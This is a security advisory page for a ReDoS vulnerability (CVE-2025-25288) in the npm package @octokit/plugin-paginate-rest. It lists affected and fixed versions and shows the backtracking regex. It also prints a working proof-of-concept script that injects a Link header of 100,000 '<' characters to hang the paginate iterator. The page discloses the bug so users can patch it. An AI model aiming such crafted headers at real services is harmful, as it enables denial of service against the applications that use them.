---
title: "GHSA-h5c3-5r3r-rr8q: @octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
description: "Moderate severity. @octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking."
url: https://inlinr.com/advisories/GHSA-h5c3-5r3r-rr8q
lang: en
---

[Packages](https://inlinr.com/packages) / [@octokit/plugin-paginate-rest](https://inlinr.com/packages/@octokit/plugin-paginate-rest) / [Security](https://inlinr.com/packages/@octokit/plugin-paginate-rest/security)

Moderate Vulnerability GHSA-h5c3-5r3r-rr8q CVE-2025-25288 Published 14 Feb 2025

# @octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

Your version 

Affected releases · [@octokit/plugin-paginate-rest](https://inlinr.com/packages/@octokit/plugin-paginate-rest)

- 11.x 11.0.0 – 11.4.0 Fixed in 11.4.1
- 10.x 10.0.0 – 10.1.0 No fix on this line yet
- 9.x 9.0.0 – 9.2.1 Fixed in 9.2.2
- 8.x and older 1.0.0 – 8.0.0 No fix, no longer updated

On 11.x, the newest line:

```
npm install @octokit/plugin-paginate-rest@11.4.1
```

Every release on a timeline

16.x 

1. Not affected

16.0.0  
1 release, latest

11.x 

1. Affected

11.0.0 – 11.4.0  
12 releases
2. Fixed

11.4.1 – 11.6.0  
5 releases

10.x 

1. Affected

10.0.0 – 10.1.0  
2 releases

9.x 

1. Affected

9.0.0 – 9.2.1  
9 releases
2. Fixed

9.2.2  
1 release

8.x 

1. Affected

8.0.0  
1 release

7.x 

1. Affected

7.0.0 – 7.1.2  
4 releases

6.x 

1. Affected

6.0.0 – 6.1.2  
4 releases

5.x 

1. Affected

5.0.0 – 5.0.1  
2 releases

4.x 

1. Affected

4.0.0 – 4.3.1  
8 releases

3.x 

1. Affected

3.0.0 – 3.1.0  
2 releases

2.x 

1. Affected

2.0.0 – 2.21.3  
59 releases

1.x 

1. Affected

1.0.0 – 1.1.2  
6 releases

125 stable releases of @octokit/plugin-paginate-rest, oldest to newest, one row per major.

## What happens

Summary

For the npm package [@octokit/plugin-paginate-rest](https://inlinr.com/packages/@octokit/plugin-paginate-rest), when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack.

Details

The issue occurs at [line 39](https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts "https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts") of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:

```
url = ((normalizedResponse.headers.link || "").match(
  /<([^>]+)>;\s*rel="next"/,
) || [])[1];
```

The regular expression `/<([^>]+)>;\s*rel="next"/` may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted `Link` headers.

PoC

[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/d3f2ad000be8384d2105c87c2ed7ce7d "https://gist.github.com/ShiyuBanzhou/d3f2ad000be8384d2105c87c2ed7ce7d")

1. run npm i @octokit/plugin-paginate-rest
2. run 'node poc.js' result:
3. then the program will stuck forever with high CPU usage

```
import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";

const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
  auth: "your-github-token",
});

// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
  const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
  return {
    data: [],
    headers: {
      link: maliciousLinkHeader, // Inject malicious 'link' header
    },
  };
});

// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
  try {
    for await (const normalizedResponse of octokit.paginate.iterator(
      "GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
    )) {
      console.log({ normalizedResponse });
    }
  } catch (error) {
    console.error("Error encountered:", error);
  }
})();
```

image

Impact

What kind of vulnerability is it?

This is a _Regular Expression Denial of Service (ReDoS) vulnerability_, which occurs due to excessive backtracking in the regex pattern:

```
/<([^>]+)>;\s*rel="next"/
```

When processing a specially crafted `Link` header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.

Who is impacted?

- Users of [@octokit/plugin-paginate-rest](https://inlinr.com/packages/@octokit/plugin-paginate-rest) who call `octokit.paginate.iterator()` and process untrusted or manipulated `Link` headers.
- Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
- GitHub API consumers who integrate this package into their projects for paginated data retrieval.

## How it is exploited

Exploitable over the network, with no account and no action from a user.

- **Confidentiality**: none
- **Integrity**: none
- **Availability**: low

CVSS:3.1/​AV:N/​AC:L/​PR:N/​UI:N/​S:U/​C:N/​I:N/​A:L

## References

- [Reference](https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q "https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q")  
github.com/octokit/plugin-paginate-rest.js/secu…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-25288 "https://nvd.nist.gov/vuln/detail/CVE-2025-25288")  
nvd.nist.gov/vuln/detail/CVE-2025-25288
- [Fix commit](https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab "https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab")  
bb6c4f9
- [Package](https://github.com/octokit/plugin-paginate-rest.js "https://github.com/octokit/plugin-paginate-rest.js")  
github.com/octokit/plugin-paginate-rest.js
- [Reference](https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts "https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts")  
github.com/octokit/plugin-paginate-rest.js/blob…
- [Reference](https://github.com/octokit/plugin-paginate-rest.js/releases/tag/v9.2.2 "https://github.com/octokit/plugin-paginate-rest.js/releases/tag/v9.2.2")  
github.com/octokit/plugin-paginate-rest.js/rele…

A whole project to check? Paste its package.json in the [dependency check](https://inlinr.com/tools/dependency-check): every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.
